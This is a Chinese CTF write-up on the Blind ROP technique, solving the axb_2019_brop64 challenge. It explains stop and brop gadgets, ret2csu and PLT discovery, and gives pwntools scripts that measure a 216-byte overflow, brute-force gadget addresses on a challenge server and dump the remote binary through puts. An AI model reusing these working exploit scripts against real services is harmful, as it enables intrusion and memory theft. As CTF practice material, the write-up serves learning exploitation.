黑盒程序step
测试溢出长度
爆破canary
执行write泄露内存
dump
测试溢出长度
二分法手测或者写脚本
执行write泄露内存
1.寻找控制write寄存器参数的gadgets
rdi和rsi:
万金油ret2csu还在燃烧
.text:00000000004012DB 5D pop rbp
.text:00000000004012DC 41 5C pop r12
.text:00000000004012DE 41 5D pop r13
.text:00000000004012E0 41 5E pop r14
.text:00000000004012E2 41 5F pop r15
.text:00000000004012E4 C3 retn
在pop r14和pop r15隔断机器码,可以分离出2个最有用的gadgets(我开始意识到平时用ROPgadget得到的gadgets似乎就是从这获得的)
0x00000000004012E0 +0x1 5E 41 5F C3 ->pop rsi pop r15 ret
0x00000000004012E2 +0x1 5F C3 ->pop rdi ret
rdx:
运气好的时候不用控制,只要不为 0 即可
执行 strcmp 的时候,rdx 会被设置为将要被比较的字符串的长度,所以我们可以找到 strcmp 函数,从而来控制 rdx
2.怎么寻找gadgets和plt(write和strcmp)
寻找stop gadgets
<aside> 💡
所谓stop gadget一般指的是这样一段代码:当程序的执行这段代码时,程序会进入无限循环,这样使得攻击者能够一直保持连接状态。
</aside>
目的是测试当前找到的gadgets是否可用,如果把stop gadegets放在测试gadgets后面,从测试gadgets ret到stop gadgets时就会保持连接,说明该gadgets可用,否则不可用
识别当前gadgets类型
Probe 从0x400000开始寻找可用gadgets
stop stop gadgets的地址
trap 使程序崩溃的地址
probe, trap, trap, trap, trap, trap, trap, stop, traps
我们可以通过这样的布局来找到弹出 6 个栈变量的 gadget,也就是与 brop gadget 相似的 gadget。**这里感觉原文是有问题的,比如说如果遇到了只是 pop 一个栈变量的地址,其实也是不会崩溃的,,**这里一般来说会遇到两处比较有意思的地方
plt 处不会崩,,
_start 处不会崩,相当于程序重新执行。
之所以要在每个布局的后面都放上 trap,是为了能够识别出,当我们的 probe 处对应的地址执行的指令跳过了 stop,程序立马崩溃的行为。
寻找 PLT
每一个 plt 表项都是 16 字节
此外,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。所以说,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表
通过strcmp 控制rdx(可选)
没实现过还不好理解先略去
以axb_2019_brop64实战
Exp:(只有dump的过程)
from pwn import *
###216
def getbufferflow_length():
i= 1
while 1:
try:
sh= remote("node4.anna.nssctf.cn",27260)
sh.recvuntil(b"Please tell me:")
sh.send(i*b'A')
time.sleep(0.1)
output= sh.recv()
sh.close()
if b"Goodbye!" not in output:
return i-1
else:
i+= 1
except EOFError:
sh.close()
return i-1
#pass 0x4007d7
def getStopGadgets():
addr= 0x4007d0
length= 216
#addr= 0x400500
while 1:
try :
sh= remote("node4.anna.nssctf.cn",26185)
sh.recvuntil(b"Please tell me:")
payload= b"A"*length+p64(addr)
sh.send(payload)
time.sleep(0.1)
content= sh.recv()
sh.close()
#print ('one success addr: 0x%x' % (addr))
if b'Hello' in content:
print ('one success addr: 0x%x' % (addr))
return addr
print ('now addr: 0x%x' % (addr))
addr+= 1
except EOFError:
addr+= 1
sh.close()
def get_brop_gadget(length,stop_gadget,addr):
sh= remote("node4.anna.nssctf.cn",26185)
sh.recvuntil(b"Please tell me:")
payload= b'A'*length+p64(addr)+p64(0)*6+ p64(stop_gadget)+p64(0)*10 #
sh.sendline(payload)
time.sleep(0.1)
content= sh.recv()
sh.close()
if not b'Hello' in content:
return False
return True
def check_brop_gadget(length,addr):
sh= remote("node4.anna.nssctf.cn",26185)
sh.recvuntil(b"Please tell me:")
payload= length*b"A"+ p64(addr)+b'A'*8*10
sh.sendline(payload)
time.sleep(0.1)
content= sh.recv()
sh.close()
if not b'Hello' in content:
return True
else :
return False
###pass 0x4006e0 ->start
# 0x4007ee ->main
def auto_get_brop_gadget():
addr= 0x4007ef
while 1:
print(hex(addr))
if get_brop_gadget(216,0x4007d6,addr):
print("possible brop gadget: 0x%x"% addr)
if check_brop_gadget(216,addr):
print("success brop gadget: 0x%x"%addr)
break
addr+= 1
###
def get_pltputs_addr(length,rdi_ret,stop_gadget):
addr= 0x400600
while 1:
print(hex(addr))
sh= remote("node4.anna.nssctf.cn",28061)
context(log_level='debug')
sh.recvuntil(b"Please tell me:")
time.sleep(0.1)
payload= length*b'a'+ p64(rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
sh.sendline(payload)
time.sleep(0.2)
content= sh.recv()
print(content)
if b'\\x7fELF' in content:
print('find puts@plt addr: 0x%x'%addr)
sh.close()
return addr
sh.close()
addr+= 1
padding=b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaac"
def leak(length,rdi_ret,puts_plt,leak_addr,stop_gadget):
sh= remote("node4.anna.nssctf.cn",28061)
payload= padding+p64(rdi_ret)+p64(leak_addr)+p64(puts_plt)+b"A"*8*10
sh.recvuntil(b"Please tell me:")
sh.sendline(payload)
time.sleep(0.2)
content= sh.recv()
#content= sh.recv()
###
print("this is content")
print(content)
###
sh.close()
data= content.split(b'daac', 1)[1][3:]
data= data[0:-1]
if data== b"":
data= b'\\x00'
return data
addr = 0x400000
result = b""
while addr < 0x400200:
print(hex(addr))
data = leak(216, 0x40095a+9, 0x400640, addr, 0x4007d7)
print(data)
result += data
addr += len(data)
print(len(data))
with open('code', 'wb') as f:
f.write(result)
#print(getStopGadgets())
#print(getbufferflow_length()) 216
#print(getStopGadgets())0x4007d7
#auto_get_brop_gadget() #0x40095a
#get_pltputs_addr(216,0x40095a+9,0x4007d7) 0x400635
'''
context(log_level='debug')
sh= remote("node4.anna.nssctf.cn",26185)
sh.recvuntil(b"Please tell me:")
payload= b"A"*216+ p64(0x4007d7)
sh.send(payload)
sh.interactive()
'''
算是比较传统的brop,老实打就能出。
测溢出值
nc发现很奇怪,发现无论输入多大的内容都不会Eof。说明需要我们从输出中判断是否溢出
def getbufferflow_length():
i= 1
while 1:
try:
sh= remote("node4.anna.nssctf.cn",27260)
sh.recvuntil(b"Please tell me:")
sh.send(i*b'A')
time.sleep(0.1) #打远程得格外注意等待输出
output= sh.recv()
sh.close()
if b"Goodbye!" not in output:
return i-1
else:
i+= 1
except EOFError:
sh.close()
return i-1
测出溢出值216

找stop gadget
#pass 0x4007d7
def getStopGadgets():
addr= 0x400000
length= 216
while 1:
try :
sh= remote("node4.anna.nssctf.cn",26185)
sh.recvuntil(b"Please tell me:")
payload= b"A"*length+p64(addr)
sh.send(payload)
time.sleep(0.1)
content= sh.recv()
sh.close()
#print ('one success addr: 0x%x' % (addr))
if b'Hello' in content:
print ('one success addr: 0x%x' % (addr))
return addr
print ('now addr: 0x%x' % (addr))
addr+= 1
except EOFError:
addr+= 1
sh.close()

首先0x4006e0这是start函数的地址(但是我开了辉眼所以后面的stop gadget用的main函数的,应该都行……)
寻找brop gadget
def get_brop_gadget(length,stop_gadget,addr):
sh= remote("node4.anna.nssctf.cn",26185)
sh.recvuntil(b"Please tell me:")
payload= b'A'*length+p64(addr)+p64(0)*6+ p64(stop_gadget)+p64(0)*10 #
sh.sendline(payload)
time.sleep(0.1)
content= sh.recv()
sh.close()
if not b'Hello' in content:
return False
return True
def check_brop_gadget(length,addr):
sh= remote("node4.anna.nssctf.cn",26185)
sh.recvuntil(b"Please tell me:")
payload= length*b"A"+ p64(addr)+b'A'*8*10 #用A不用p64(0)是为了更精准的判断
sh.sendline(payload)
time.sleep(0.1)
content= sh.recv()
sh.close()
if not b'Hello' in content:
return True
else :
return False
###pass 0x4006e0 ->start
# 0x4007ee ->main
def auto_get_brop_gadget():
addr= 0x4007ef
while 1:
print(hex(addr))
if get_brop_gadget(216,0x4007d6,addr):
print("possible brop gadget: 0x%x"% addr)
if check_brop_gadget(216,addr):
print("success brop gadget: 0x%x"%addr)
break
addr+= 1


首先遇到的是0x4007ee,因为这是main的地址,在后面用的时候你会发现不行,所以继续找到真正的brop gadget
最后就是找puts和leak了
###
def get_pltputs_addr(length,rdi_ret,stop_gadget):
addr= 0x400600
while 1:
print(hex(addr))
sh= remote("node4.anna.nssctf.cn",28061)
context(log_level='debug')
sh.recvuntil(b"Please tell me:")
time.sleep(0.1)
payload= length*b'a'+ p64(rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
sh.sendline(payload)
time.sleep(0.2)
content= sh.recv()
print(content)
if b'\\x7fELF' in content:
print('find puts@plt addr: 0x%x'%addr)
sh.close()
return addr
sh.close()
addr+= 1
padding=b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaac"
def leak(length,rdi_ret,puts_plt,leak_addr,stop_gadget):
sh= remote("node4.anna.nssctf.cn",28061)
payload= padding+p64(rdi_ret)+p64(leak_addr)+p64(puts_plt)+b"A"*8*10
sh.recvuntil(b"Please tell me:")
sh.sendline(payload)
time.sleep(0.2)
content= sh.recv()
#content= sh.recv()
###
print("this is content")
print(content)
###
sh.close()
data= content.split(b'daac', 1)[1][3:]
data= data[0:-1]
if data== b"":
data= b'\\x00' #puts的特性,遇到\\x00什么也不输出
return data
到这里就可以leak出整个2进制程序了